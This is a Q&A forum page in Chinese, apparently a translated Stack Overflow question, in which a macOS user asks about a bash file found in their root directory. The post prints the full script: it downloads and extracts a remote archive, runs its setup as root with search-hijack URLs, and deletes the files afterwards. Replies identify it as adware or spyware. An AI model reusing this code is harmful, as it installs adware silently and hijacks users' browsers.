【问题标题】:Found a File on my Root not sure what it is? [closed]在我的 Root 上找到一个文件不知道它是什么? [关闭]
【发布时间】:2018-12-16 04:57:08
【问题描述】:

我在使用终端时在我的根目录中找到了这个名为“file”(bash) 的代码文件。这个文件坏了吗,我不知道它在做什么,这让我很害怕。

func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz 
"http://c.onlinemacupdate.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, 
line, "\""); printf("%s\n", line[4]); }')

COUNTRY="US"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] 
|| [ "$COUNTRY" == "NZ" ]\
|| [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] 
|| [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
|| [ "$COUNTRY" == "DE" ]; then
sudo ./setup.sh "http://www.searchitdown.com/? 
n=006&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/? 
n=006&searchsource=69&UM=8&gd=SY1000653" 
"http://www.searchitdown.com/Results.aspx? 
n=006&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" 
"http://i.firstinstallmac.club/c/cc?id="
else
sudo ./setup.sh "http://feed.snowbitt.com/ 

publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp
&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/? 

publisher=TingSyn&ts=sy&barcodeid=51222999&
searchtype=nt&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/? 
publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&
type=TGE_5a01fc" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
/usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
f unc_taaVqst &

} 
func_4 &

这段代码在做什么?这很糟糕吗?

【问题讨论】:

  • 简而言之,它从网站下载内容并以 root 身份运行。我猜它会安装后门并为您的服务器建立控制通道。您应该尝试找出它是如何到达那里的(被利用的),然后重新安装没有漏洞的服务器。

标签: macos security root


【解决方案1】:

删除它。这是here 提到的广告软件和间谍软件。

【讨论】:

    猜你喜欢
    • 2021-08-07
    • 1970-01-01
    • 1970-01-01
    • 2012-09-21
    • 2012-05-20
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2020-12-30
    相关资源
    最近更新 更多